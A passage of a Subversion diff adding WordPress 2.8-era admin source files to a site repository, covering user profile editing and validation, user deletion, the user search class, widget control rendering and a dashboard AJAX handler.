+			$user->role = $_POST['role'];
+
+		// If the new role isn't editable by the logged-in user die with error
+		$editable_roles = get_editable_roles();
+		if (!$editable_roles[$_POST['role']])
+			wp_die(__('You can&#8217;t give users that role.'));
+	}
+
+	if ( isset( $_POST['email'] ))
+		$user->user_email = esc_html( trim( $_POST['email'] ));
+	if ( isset( $_POST['url'] ) ) {
+		if ( empty ( $_POST['url'] ) || $_POST['url'] == 'http://' ) {
+			$user->user_url = '';
+		} else {
+			$user->user_url = esc_url( trim( $_POST['url'] ));
+			$user->user_url = preg_match('/^(https?|ftps?|mailto|news|irc|gopher|nntp|feed|telnet):/is', $user->user_url) ? $user->user_url : 'http://'.$user->user_url;
+		}
+	}
+	if ( isset( $_POST['first_name'] ))
+		$user->first_name = esc_html( trim( $_POST['first_name'] ));
+	if ( isset( $_POST['last_name'] ))
+		$user->last_name = esc_html( trim( $_POST['last_name'] ));
+	if ( isset( $_POST['nickname'] ))
+		$user->nickname = esc_html( trim( $_POST['nickname'] ));
+	if ( isset( $_POST['display_name'] ))
+		$user->display_name = esc_html( trim( $_POST['display_name'] ));
+	if ( isset( $_POST['description'] ))
+		$user->description = trim( $_POST['description'] );
+	if ( isset( $_POST['jabber'] ))
+		$user->jabber = esc_html( trim( $_POST['jabber'] ));
+	if ( isset( $_POST['aim'] ))
+		$user->aim = esc_html( trim( $_POST['aim'] ));
+	if ( isset( $_POST['yim'] ))
+		$user->yim = esc_html( trim( $_POST['yim'] ));
+	if ( !$update )
+		$user->rich_editing = 'true';  // Default to true for new users.
+	else if ( isset( $_POST['rich_editing'] ) )
+		$user->rich_editing = $_POST['rich_editing'];
+	else
+		$user->rich_editing = 'true';
+
+	$user->comment_shortcuts = isset( $_POST['comment_shortcuts'] )? $_POST['comment_shortcuts'] : '';
+
+	$user->use_ssl = 0;
+	if ( !empty($_POST['use_ssl']) )
+		$user->use_ssl = 1;
+
+	if ( !$update )
+		$user->admin_color = 'fresh';  // Default to fresh for new users.
+	else if ( isset( $_POST['admin_color'] ) )
+		$user->admin_color = $_POST['admin_color'];
+	else
+		$user->admin_color = 'fresh';
+
+	$errors = new WP_Error();
+
+	/* checking that username has been typed */
+	if ( $user->user_login == '' )
+		$errors->add( 'user_login', __( '<strong>ERROR</strong>: Please enter a username.' ));
+
+	/* checking the password has been typed twice */
+	do_action_ref_array( 'check_passwords', array ( $user->user_login, & $pass1, & $pass2 ));
+
+	if ( $update ) {
+		if ( empty($pass1) && !empty($pass2) )
+			$errors->add( 'pass', __( '<strong>ERROR</strong>: You entered your new password only once.' ), array( 'form-field' => 'pass1' ) );
+		elseif ( !empty($pass1) && empty($pass2) )
+			$errors->add( 'pass', __( '<strong>ERROR</strong>: You entered your new password only once.' ), array( 'form-field' => 'pass2' ) );
+	} else {
+		if ( empty($pass1) )
+			$errors->add( 'pass', __( '<strong>ERROR</strong>: Please enter your password.' ), array( 'form-field' => 'pass1' ) );
+		elseif ( empty($pass2) )
+			$errors->add( 'pass', __( '<strong>ERROR</strong>: Please enter your password twice.' ), array( 'form-field' => 'pass2' ) );
+	}
+
+	/* Check for "\" in password */
+	if ( false !== strpos( stripslashes($pass1), "\\" ) )
+		$errors->add( 'pass', __( '<strong>ERROR</strong>: Passwords may not contain the character "\\".' ), array( 'form-field' => 'pass1' ) );
+
+	/* checking the password has been typed twice the same */
+	if ( $pass1 != $pass2 )
+		$errors->add( 'pass', __( '<strong>ERROR</strong>: Please enter the same password in the two password fields.' ), array( 'form-field' => 'pass1' ) );
+
+	if (!empty ( $pass1 ))
+		$user->user_pass = $pass1;
+
+	if ( !$update && !validate_username( $user->user_login ) )
+		$errors->add( 'user_login', __( '<strong>ERROR</strong>: This username is invalid. Please enter a valid username.' ));
+
+	if (!$update && username_exists( $user->user_login ))
+		$errors->add( 'user_login', __( '<strong>ERROR</strong>: This username is already registered. Please choose another one.' ));
+
+	/* checking e-mail address */
+	if ( empty ( $user->user_email ) ) {
+		$errors->add( 'empty_email', __( '<strong>ERROR</strong>: Please enter an e-mail address.' ), array( 'form-field' => 'email' ) );
+	} elseif (!is_email( $user->user_email ) ) {
+		$errors->add( 'invalid_email', __( '<strong>ERROR</strong>: The e-mail address isn&#8217;t correct.' ), array( 'form-field' => 'email' ) );
+	} elseif ( ( $owner_id = email_exists($user->user_email) ) && $owner_id != $user->ID ) {
+		$errors->add( 'email_exists', __('<strong>ERROR</strong>: This email is already registered, please choose another one.'), array( 'form-field' => 'email' ) );
+	}
+
+	// Allow plugins to return there own errors.
+	do_action_ref_array('user_profile_update_errors', array ( &$errors, $update, &$user ) );
+
+	if ( $errors->get_error_codes() )
+		return $errors;
+
+	if ( $update ) {
+		$user_id = wp_update_user( get_object_vars( $user ));
+	} else {
+		$user_id = wp_insert_user( get_object_vars( $user ));
+		wp_new_user_notification( $user_id, isset($_POST['send_password']) ? $pass1 : '' );
+	}
+	return $user_id;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ *
+ * @return array List of user IDs.
+ */
+function get_author_user_ids() {
+	global $wpdb;
+	$level_key = $wpdb->prefix . 'user_level';
+	return $wpdb->get_col( $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value != '0'", $level_key) );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ *
+ * @param int $user_id User ID.
+ * @return array|bool List of editable authors. False if no editable users.
+ */
+function get_editable_authors( $user_id ) {
+	global $wpdb;
+
+	$editable = get_editable_user_ids( $user_id );
+
+	if( !$editable ) {
+		return false;
+	} else {
+		$editable = join(',', $editable);
+		$authors = $wpdb->get_results( "SELECT * FROM $wpdb->users WHERE ID IN ($editable) ORDER BY display_name" );
+	}
+
+	return apply_filters('get_editable_authors', $authors);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ *
+ * @param int $user_id User ID.
+ * @param bool $exclude_zeros Optional, default is true. Whether to exclude zeros.
+ * @return unknown
+ */
+function get_editable_user_ids( $user_id, $exclude_zeros = true, $post_type = 'post' ) {
+	global $wpdb;
+
+	$user = new WP_User( $user_id );
+
+	if ( ! $user->has_cap("edit_others_{$post_type}s") ) {
+		if ( $user->has_cap("edit_{$post_type}s") || $exclude_zeros == false )
+			return array($user->id);
+		else
+			return array();
+	}
+
+	$level_key = $wpdb->prefix . 'user_level';
+
+	$query = $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s", $level_key);
+	if ( $exclude_zeros )
+		$query .= " AND meta_value != '0'";
+
+	return $wpdb->get_col( $query );
+}
+
+/**
+ * Fetch a filtered list of user roles that the current user is
+ * allowed to edit.
+ *
+ * Simple function who's main purpose is to allow filtering of the
+ * list of roles in the $wp_roles object so that plugins can remove
+ * innappropriate ones depending on the situation or user making edits.
+ * Specifically because without filtering anyone with the edit_users
+ * capability can edit others to be administrators, even if they are
+ * only editors or authors. This filter allows admins to delegate
+ * user management.
+ *
+ * @since 2.8
+ *
+ * @return unknown
+ */
+function get_editable_roles() {
+	global $wp_roles;
+
+	$all_roles = $wp_roles->roles;
+	$editable_roles = apply_filters('editable_roles', $all_roles);
+
+	return $editable_roles;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function get_nonauthor_user_ids() {
+	global $wpdb;
+	$level_key = $wpdb->prefix . 'user_level';
+
+	return $wpdb->get_col( $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value = '0'", $level_key) );
+}
+
+/**
+ * Retrieve editable posts from other users.
+ *
+ * @since unknown
+ *
+ * @param int $user_id User ID to not retrieve posts from.
+ * @param string $type Optional, defaults to 'any'. Post type to retrieve, can be 'draft' or 'pending'.
+ * @return array List of posts from others.
+ */
+function get_others_unpublished_posts($user_id, $type='any') {
+	global $wpdb;
+
+	$editable = get_editable_user_ids( $user_id );
+
+	if ( in_array($type, array('draft', 'pending')) )
+		$type_sql = " post_status = '$type' ";
+	else
+		$type_sql = " ( post_status = 'draft' OR post_status = 'pending' ) ";
+
+	$dir = ( 'pending' == $type ) ? 'ASC' : 'DESC';
+
+	if( !$editable ) {
+		$other_unpubs = '';
+	} else {
+		$editable = join(',', $editable);
+		$other_unpubs = $wpdb->get_results( $wpdb->prepare("SELECT ID, post_title, post_author FROM $wpdb->posts WHERE post_type = 'post' AND $type_sql AND post_author IN ($editable) AND post_author != %d ORDER BY post_modified $dir", $user_id) );
+	}
+
+	return apply_filters('get_others_drafts', $other_unpubs);
+}
+
+/**
+ * Retrieve drafts from other users.
+ *
+ * @since unknown
+ *
+ * @param int $user_id User ID.
+ * @return array List of drafts from other users.
+ */
+function get_others_drafts($user_id) {
+	return get_others_unpublished_posts($user_id, 'draft');
+}
+
+/**
+ * Retrieve pending review posts from other users.
+ *
+ * @since unknown
+ *
+ * @param int $user_id User ID.
+ * @return array List of posts with pending review post type from other users.
+ */
+function get_others_pending($user_id) {
+	return get_others_unpublished_posts($user_id, 'pending');
+}
+
+/**
+ * Retrieve user data and filter it.
+ *
+ * @since unknown
+ *
+ * @param int $user_id User ID.
+ * @return object WP_User object with user data.
+ */
+function get_user_to_edit( $user_id ) {
+	$user = new WP_User( $user_id );
+	$user->user_login   = esc_attr($user->user_login);
+	$user->user_email   = esc_attr($user->user_email);
+	$user->user_url     = esc_url($user->user_url);
+	$user->first_name   = esc_attr($user->first_name);
+	$user->last_name    = esc_attr($user->last_name);
+	$user->display_name = esc_attr($user->display_name);
+	$user->nickname     = esc_attr($user->nickname);
+	$user->aim          = isset( $user->aim ) && !empty( $user->aim ) ? esc_attr($user->aim) : '';
+	$user->yim          = isset( $user->yim ) && !empty( $user->yim ) ? esc_attr($user->yim) : '';
+	$user->jabber       = isset( $user->jabber ) && !empty( $user->jabber ) ? esc_attr($user->jabber) : '';
+	$user->description  = isset( $user->description ) && !empty( $user->description ) ? esc_html($user->description) : '';
+
+	return $user;
+}
+
+/**
+ * Retrieve the user's drafts.
+ *
+ * @since unknown
+ *
+ * @param int $user_id User ID.
+ * @return array
+ */
+function get_users_drafts( $user_id ) {
+	global $wpdb;
+	$query = $wpdb->prepare("SELECT ID, post_title FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'draft' AND post_author = %d ORDER BY post_modified DESC", $user_id);
+	$query = apply_filters('get_users_drafts', $query);
+	return $wpdb->get_results( $query );
+}
+
+/**
+ * Remove user and optionally reassign posts and links to another user.
+ *
+ * If the $reassign parameter is not assigned to an User ID, then all posts will
+ * be deleted of that user. The action 'delete_user' that is passed the User ID
+ * being deleted will be run after the posts are either reassigned or deleted.
+ * The user meta will also be deleted that are for that User ID.
+ *
+ * @since unknown
+ *
+ * @param int $id User ID.
+ * @param int $reassign Optional. Reassign posts and links to new User ID.
+ * @return bool True when finished.
+ */
+function wp_delete_user($id, $reassign = 'novalue') {
+	global $wpdb;
+
+	$id = (int) $id;
+	$user = new WP_User($id);
+
+	// allow for transaction statement
+	do_action('delete_user', $id);
+
+	if ($reassign == 'novalue') {
+		$post_ids = $wpdb->get_col( $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_author = %d", $id) );
+
+		if ($post_ids) {
+			foreach ($post_ids as $post_id)
+				wp_delete_post($post_id);
+		}
+
+		// Clean links
+		$link_ids = $wpdb->get_col( $wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id) );
+
+		if ( $link_ids ) {
+			foreach ( $link_ids as $link_id )
+				wp_delete_link($link_id);
+		}
+
+	} else {
+		$reassign = (int) $reassign;
+		$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_author = %d WHERE post_author = %d", $reassign, $id) );
+		$wpdb->query( $wpdb->prepare("UPDATE $wpdb->links SET link_owner = %d WHERE link_owner = %d", $reassign, $id) );
+	}
+
+	// FINALLY, delete user
+
+	$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id = %d", $id) );
+	$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->users WHERE ID = %d", $id) );
+
+	wp_cache_delete($id, 'users');
+	wp_cache_delete($user->user_login, 'userlogins');
+	wp_cache_delete($user->user_email, 'useremail');
+	wp_cache_delete($user->user_nicename, 'userslugs');
+
+	// allow for commit transaction
+	do_action('deleted_user', $id);
+
+	return true;
+}
+
+/**
+ * Remove all capabilities from user.
+ *
+ * @since unknown
+ *
+ * @param int $id User ID.
+ */
+function wp_revoke_user($id) {
+	$id = (int) $id;
+
+	$user = new WP_User($id);
+	$user->remove_all_caps();
+}
+
+if ( !class_exists('WP_User_Search') ) :
+/**
+ * WordPress User Search class.
+ *
+ * @since unknown
+ * @author Mark Jaquith
+ */
+class WP_User_Search {
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since unknown
+	 * @access private
+	 * @var unknown_type
+	 */
+	var $results;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since unknown
+	 * @access private
+	 * @var unknown_type
+	 */
+	var $search_term;
+
+	/**
+	 * Page number.
+	 *
+	 * @since unknown
+	 * @access private
+	 * @var int
+	 */
+	var $page;
+
+	/**
+	 * Role name that users have.
+	 *
+	 * @since unknown
+	 * @access private
+	 * @var string
+	 */
+	var $role;
+
+	/**
+	 * Raw page number.
+	 *
+	 * @since unknown
+	 * @access private
+	 * @var int|bool
+	 */
+	var $raw_page;
+
+	/**
+	 * Amount of users to display per page.
+	 *
+	 * @since unknown
+	 * @access public
+	 * @var int
+	 */
+	var $users_per_page = 50;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since unknown
+	 * @access private
+	 * @var unknown_type
+	 */
+	var $first_user;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since unknown
+	 * @access private
+	 * @var int
+	 */
+	var $last_user;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since unknown
+	 * @access private
+	 * @var unknown_type
+	 */
+	var $query_limit;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since unknown
+	 * @access private
+	 * @var unknown_type
+	 */
+	var $query_sort;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since unknown
+	 * @access private
+	 * @var unknown_type
+	 */
+	var $query_from_where;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since unknown
+	 * @access private
+	 * @var int
+	 */
+	var $total_users_for_query = 0;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since unknown
+	 * @access private
+	 * @var bool
+	 */
+	var $too_many_total_users = false;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since unknown
+	 * @access private
+	 * @var unknown_type
+	 */
+	var $search_errors;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since unknown
+	 * @access private
+	 * @var unknown_type
+	 */
+	var $paging_text;
+
+	/**
+	 * PHP4 Constructor - Sets up the object properties.
+	 *
+	 * @since unknown
+	 *
+	 * @param string $search_term Search terms string.
+	 * @param int $page Optional. Page ID.
+	 * @param string $role Role name.
+	 * @return WP_User_Search
+	 */
+	function WP_User_Search ($search_term = '', $page = '', $role = '') {
+		$this->search_term = $search_term;
+		$this->raw_page = ( '' == $page ) ? false : (int) $page;
+		$this->page = (int) ( '' == $page ) ? 1 : $page;
+		$this->role = $role;
+
+		$this->prepare_query();
+		$this->query();
+		$this->prepare_vars_for_template_usage();
+		$this->do_paging();
+	}
+
+	/**
+	 * {@internal Missing Short Description}}
+	 *
+	 * {@internal Missing Long Description}}
+	 *
+	 * @since unknown
+	 * @access public
+	 */
+	function prepare_query() {
+		global $wpdb;
+		$this->first_user = ($this->page - 1) * $this->users_per_page;
+		$this->query_limit = $wpdb->prepare(" LIMIT %d, %d", $this->first_user, $this->users_per_page);
+		$this->query_sort = ' ORDER BY user_login';
+		$search_sql = '';
+		if ( $this->search_term ) {
+			$searches = array();
+			$search_sql = 'AND (';
+			foreach ( array('user_login', 'user_nicename', 'user_email', 'user_url', 'display_name') as $col )
+				$searches[] = $col . " LIKE '%$this->search_term%'";
+			$search_sql .= implode(' OR ', $searches);
+			$search_sql .= ')';
+		}
+
+		$this->query_from_where = "FROM $wpdb->users";
+		if ( $this->role )
+			$this->query_from_where .= $wpdb->prepare(" INNER JOIN $wpdb->usermeta ON $wpdb->users.ID = $wpdb->usermeta.user_id WHERE $wpdb->usermeta.meta_key = '{$wpdb->prefix}capabilities' AND $wpdb->usermeta.meta_value LIKE %s", '%' . $this->role . '%');
+		else
+			$this->query_from_where .= " WHERE 1=1";
+		$this->query_from_where .= " $search_sql";
+
+	}
+
+	/**
+	 * {@internal Missing Short Description}}
+	 *
+	 * {@internal Missing Long Description}}
+	 *
+	 * @since unknown
+	 * @access public
+	 */
+	function query() {
+		global $wpdb;
+		$this->results = $wpdb->get_col('SELECT ID ' . $this->query_from_where . $this->query_sort . $this->query_limit);
+
+		if ( $this->results )
+			$this->total_users_for_query = $wpdb->get_var('SELECT COUNT(ID) ' . $this->query_from_where); // no limit
+		else
+			$this->search_errors = new WP_Error('no_matching_users_found', __('No matching users were found!'));
+	}
+
+	/**
+	 * {@internal Missing Short Description}}
+	 *
+	 * {@internal Missing Long Description}}
+	 *
+	 * @since unknown
+	 * @access public
+	 */
+	function prepare_vars_for_template_usage() {
+		$this->search_term = stripslashes($this->search_term); // done with DB, from now on we want slashes gone
+	}
+
+	/**
+	 * {@internal Missing Short Description}}
+	 *
+	 * {@internal Missing Long Description}}
+	 *
+	 * @since unknown
+	 * @access public
+	 */
+	function do_paging() {
+		if ( $this->total_users_for_query > $this->users_per_page ) { // have to page the results
+			$args = array();
+			if( ! empty($this->search_term) )
+				$args['usersearch'] = urlencode($this->search_term);
+			if( ! empty($this->role) )
+				$args['role'] = urlencode($this->role);
+
+			$this->paging_text = paginate_links( array(
+				'total' => ceil($this->total_users_for_query / $this->users_per_page),
+				'current' => $this->page,
+				'base' => 'users.php?%_%',
+				'format' => 'userspage=%#%',
+				'add_args' => $args
+			) );
+			if ( $this->paging_text ) {
+				$this->paging_text = sprintf( '<span class="displaying-num">' . __( 'Displaying %s&#8211;%s of %s' ) . '</span>%s',
+					number_format_i18n( ( $this->page - 1 ) * $this->users_per_page + 1 ),
+					number_format_i18n( min( $this->page * $this->users_per_page, $this->total_users_for_query ) ),
+					number_format_i18n( $this->total_users_for_query ),
+					$this->paging_text
+				);
+			}
+		}
+	}
+
+	/**
+	 * {@internal Missing Short Description}}
+	 *
+	 * {@internal Missing Long Description}}
+	 *
+	 * @since unknown
+	 * @access public
+	 *
+	 * @return unknown
+	 */
+	function get_results() {
+		return (array) $this->results;
+	}
+
+	/**
+	 * Displaying paging text.
+	 *
+	 * @see do_paging() Builds paging text.
+	 *
+	 * @since unknown
+	 * @access public
+	 */
+	function page_links() {
+		echo $this->paging_text;
+	}
+
+	/**
+	 * Whether paging is enabled.
+	 *
+	 * @see do_paging() Builds paging text.
+	 *
+	 * @since unknown
+	 * @access public
+	 *
+	 * @return bool
+	 */
+	function results_are_paged() {
+		if ( $this->paging_text )
+			return true;
+		return false;
+	}
+
+	/**
+	 * Whether there are search terms.
+	 *
+	 * @since unknown
+	 * @access public
+	 *
+	 * @return bool
+	 */
+	function is_search() {
+		if ( $this->search_term )
+			return true;
+		return false;
+	}
+}
+endif;
+
+add_action('admin_init', 'default_password_nag_handler');
+function default_password_nag_handler($errors = false) {
+	global $user_ID;
+	if ( ! get_usermeta($user_ID, 'default_password_nag') ) //Short circuit it.
+		return;
+
+	//get_user_setting = JS saved UI setting. else no-js-falback code.
+	if ( 'hide' == get_user_setting('default_password_nag') || isset($_GET['default_password_nag']) && '0' == $_GET['default_password_nag'] ) {
+		delete_user_setting('default_password_nag');
+		update_usermeta($user_ID, 'default_password_nag', false);
+	}
+}
+
+add_action('profile_update', 'default_password_nag_edit_user', 10, 2);
+function default_password_nag_edit_user($user_ID, $old_data) {
+	global $user_ID;
+	if ( ! get_usermeta($user_ID, 'default_password_nag') ) //Short circuit it.
+		return;
+
+	$new_data = get_userdata($user_ID);
+
+	if ( $new_data->user_pass != $old_data->user_pass ) { //Remove the nag if the password has been changed.
+		delete_user_setting('default_password_nag');
+		update_usermeta($user_ID, 'default_password_nag', false);
+	}
+}
+
+add_action('admin_notices', 'default_password_nag');
+function default_password_nag() {
+	global $user_ID;
+	if ( ! get_usermeta($user_ID, 'default_password_nag') )
+		return;
+
+	echo '<div class="error default-password-nag"><p>';
+	printf(__("Notice: you're using the auto-generated password for your account. Would you like to change it to something you'll remember easier?<br />
+			  <a href='%s'>Yes, Take me to my profile page</a> | <a href='%s' id='default-password-nag-no'>No Thanks, Do not remind me again.</a>"), admin_url('profile.php') . '#password', '?default_password_nag=0');
+	echo '</p></div>';
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/widgets.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/widgets.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/widgets.php	(revision 44)
@@ -0,0 +1,210 @@
+<?php
+/**
+ * WordPress Widgets Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Display list of the available widgets, either all or matching search.
+ *
+ * The search parameter are search terms separated by spaces.
+ *
+ * @since unknown
+ *
+ * @param string $show Optional, default is all. What to display, can be 'all', 'unused', or 'used'.
+ * @param string $_search Optional. Search for widgets. Should be unsanitized.
+ */
+function wp_list_widgets() {
+	global $wp_registered_widgets, $sidebars_widgets, $wp_registered_widget_controls;
+
+	$sort = $wp_registered_widgets;
+	usort( $sort, create_function( '$a, $b', 'return strnatcasecmp( $a["name"], $b["name"] );' ) );
+	$done = array();
+
+	foreach ( $sort as $widget ) {
+		if ( in_array( $widget['callback'], $done, true ) ) // We already showed this multi-widget
+			continue;
+
+		$sidebar = is_active_widget( $widget['callback'], $widget['id'], false, false );
+		$done[] = $widget['callback'];
+
+		if ( ! isset( $widget['params'][0] ) )
+			$widget['params'][0] = array();
+
+		$args = array( 'widget_id' => $widget['id'], 'widget_name' => $widget['name'], '_display' => 'template' );
+
+		if ( isset($wp_registered_widget_controls[$widget['id']]['id_base']) && isset($widget['params'][0]['number']) ) {
+			$id_base = $wp_registered_widget_controls[$widget['id']]['id_base'];
+			$args['_temp_id'] = "$id_base-__i__";
+			$args['_multi_num'] = next_widget_id_number($id_base);
+			$args['_add'] = 'multi';
+		} else {
+			$args['_add'] = 'single';
+			if ( $sidebar )
+				$args['_hide'] = '1';
+		}
+
+		$args = wp_list_widget_controls_dynamic_sidebar( array( 0 => $args, 1 => $widget['params'][0] ) );
+		call_user_func_array( 'wp_widget_control', $args );
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param string $sidebar
+ */
+function wp_list_widget_controls( $sidebar ) {
+	add_filter( 'dynamic_sidebar_params', 'wp_list_widget_controls_dynamic_sidebar' );
+
+	echo "\t<div id='$sidebar' class='widgets-sortables'>\n";
+	dynamic_sidebar( $sidebar );
+	echo "\t</div>\n";
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param array $params
+ * @return array
+ */
+function wp_list_widget_controls_dynamic_sidebar( $params ) {
+	global $wp_registered_widgets;
+	static $i = 0;
+	$i++;
+
+	$widget_id = $params[0]['widget_id'];
+	$id = isset($params[0]['_temp_id']) ? $params[0]['_temp_id'] : $widget_id;
+	$hidden = isset($params[0]['_hide']) ? ' style="display:none;"' : '';
+
+	$params[0]['before_widget'] = "<div id='widget-${i}_$id' class='widget'$hidden>";
+	$params[0]['after_widget'] = "</div>";
+	$params[0]['before_title'] = "%BEG_OF_TITLE%"; // deprecated
+	$params[0]['after_title'] = "%END_OF_TITLE%"; // deprecated
+	if ( is_callable( $wp_registered_widgets[$widget_id]['callback'] ) ) {
+		$wp_registered_widgets[$widget_id]['_callback'] = $wp_registered_widgets[$widget_id]['callback'];
+		$wp_registered_widgets[$widget_id]['callback'] = 'wp_widget_control';
+	}
+
+	return $params;
+}
+
+function next_widget_id_number($id_base) {
+	global $wp_registered_widgets;
+	$number = 1;
+
+	foreach ( $wp_registered_widgets as $widget_id => $widget ) {
+		if ( preg_match( '/' . $id_base . '-([0-9]+)$/', $widget_id, $matches ) )
+			$number = max($number, $matches[1]);
+	}
+	$number++;
+
+	return $number;
+}
+
+/**
+ * Meta widget used to display the control form for a widget.
+ *
+ * Called from dynamic_sidebar().
+ *
+ * @since unknown
+ *
+ * @param array $sidebar_args
+ * @return array
+ */
+function wp_widget_control( $sidebar_args ) {
+	global $wp_registered_widgets, $wp_registered_widget_controls, $sidebars_widgets;
+
+	$widget_id = $sidebar_args['widget_id'];
+	$sidebar_id = isset($sidebar_args['id']) ? $sidebar_args['id'] : false;
+	$key = $sidebar_id ? array_search( $widget_id, $sidebars_widgets[$sidebar_id] ) : '-1'; // position of widget in sidebar
+	$control = isset($wp_registered_widget_controls[$widget_id]) ? $wp_registered_widget_controls[$widget_id] : array();
+	$widget = $wp_registered_widgets[$widget_id];
+
+	$id_format = $widget['id'];
+	$widget_number = isset($control['params'][0]['number']) ? $control['params'][0]['number'] : '';
+	$id_base = isset($control['id_base']) ? $control['id_base'] : $widget_id;
+	$multi_number = isset($sidebar_args['_multi_num']) ? $sidebar_args['_multi_num'] : '';
+	$add_new = isset($sidebar_args['_add']) ? $sidebar_args['_add'] : '';
+
+	$query_arg = array( 'editwidget' => $widget['id'] );
+	if ( $add_new ) {
+		$query_arg['addnew'] = 1;
+		if ( $multi_number ) {
+			$query_arg['num'] = $multi_number;
+			$query_arg['base'] = $id_base;
+		}
+	} else {
+		$query_arg['sidebar'] = $sidebar_id;
+		$query_arg['key'] = $key;
+	}
+
+	// We aren't showing a widget control, we're outputing a template for a mult-widget control
+	if ( isset($sidebar_args['_display']) && 'template' == $sidebar_args['_display'] && $widget_number ) {
+		// number == -1 implies a template where id numbers are replaced by a generic '__i__'
+		$control['params'][0]['number'] = -1;
+		// with id_base widget id's are constructed like {$id_base}-{$id_number}
+		if ( isset($control['id_base']) )
+			$id_format = $control['id_base'] . '-__i__';
+	}
+
+	$wp_registered_widgets[$widget_id]['callback'] = $wp_registered_widgets[$widget_id]['_callback'];
+	unset($wp_registered_widgets[$widget_id]['_callback']);
+
+	$widget_title = esc_html( strip_tags( $sidebar_args['widget_name'] ) );
+	$has_form = 'noform';
+
+	echo $sidebar_args['before_widget']; ?>
+	<div class="widget-top">
+	<div class="widget-title-action">
+		<a class="widget-action hide-if-no-js" href="#available-widgets"></a>
+		<a class="widget-control-edit hide-if-js" href="<?php echo esc_url( add_query_arg( $query_arg ) ); ?>"><span class="edit"><?php _e('Edit'); ?></span><span class="add"><?php _e('Add'); ?></span></a>
+	</div>
+	<div class="widget-title"><h4><?php echo $widget_title ?><span class="in-widget-title"></span></h4></div>
+	</div>
+
+	<div class="widget-inside">
+	<form action="" method="post">
+	<div class="widget-content">
+<?php
+	if ( isset($control['callback']) )
+		$has_form = call_user_func_array( $control['callback'], $control['params'] );
+	else
+		echo "\t\t<p>" . __('There are no options for this widget.') . "</p>\n"; ?>
+	</div>
+	<input type="hidden" name="widget-id" class="widget-id" value="<?php echo esc_attr($id_format); ?>" />
+	<input type="hidden" name="id_base" class="id_base" value="<?php echo esc_attr($id_base); ?>" />
+	<input type="hidden" name="widget-width" class="widget-width" value="<?php echo esc_attr($control['width']); ?>" />
+	<input type="hidden" name="widget-height" class="widget-height" value="<?php echo esc_attr($control['height']); ?>" />
+	<input type="hidden" name="widget_number" class="widget_number" value="<?php echo esc_attr($widget_number); ?>" />
+	<input type="hidden" name="multi_number" class="multi_number" value="<?php echo esc_attr($multi_number); ?>" />
+	<input type="hidden" name="add_new" class="add_new" value="<?php echo esc_attr($add_new); ?>" />
+
+	<div class="widget-control-actions">
+		<div class="alignleft">
+		<a class="widget-control-remove" href="#remove"><?php _e('Remove'); ?></a> |
+		<a class="widget-control-close" href="#close"><?php _e('Close'); ?></a>
+		</div>
+		<div class="alignright<?php if ( 'noform' === $has_form ) echo ' widget-control-noform'; ?>">
+		<img src="images/wpspin_light.gif" class="ajax-feedback " title="" alt="" />
+		<input type="submit" name="savewidget" class="button-primary widget-control-save" value="<?php esc_attr_e('Save'); ?>" />
+		</div>
+		<br class="clear" />
+	</div>
+	</form>
+	</div>
+
+	<div class="widget-description">
+<?php echo ( $widget_description = wp_widget_description($widget_id) ) ? "$widget_description\n" : "$widget_title\n"; ?>
+	</div>
+<?php
+	echo $sidebar_args['after_widget'];
+	return $sidebar_args;
+}
+
Index: /trunk/www.guidonia.net/wp/wp-admin/index-extra.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/index-extra.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/index-extra.php	(revision 44)
@@ -0,0 +1,40 @@
+<?php
+/**
+ * Handle default dashboard widgets options AJAX.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Bootstrap */
+require_once('admin.php');
+
+/** Load WordPress Administration Dashboard API */
+require( 'includes/dashboard.php' );
+
+/** Load Magpie RSS API or custom RSS API */
+require_once (ABSPATH . WPINC . '/rss.php');
+
+@header('Content-Type: ' . get_option('html_type') . '; charset=' . get_option('blog_charset'));
+
+switch ( $_GET['jax'] ) {
+
+case 'dashboard_incoming_links' :
+	wp_dashboard_incoming_links_output();
+	break;
+
+case 'dashboard_primary' :
+	wp_dashboard_rss_output( 'dashboard_primary' );
+	break;
+
+case 'dashboard_secondary' :
+	wp_dashboard_secondary_output();
+	break;
+
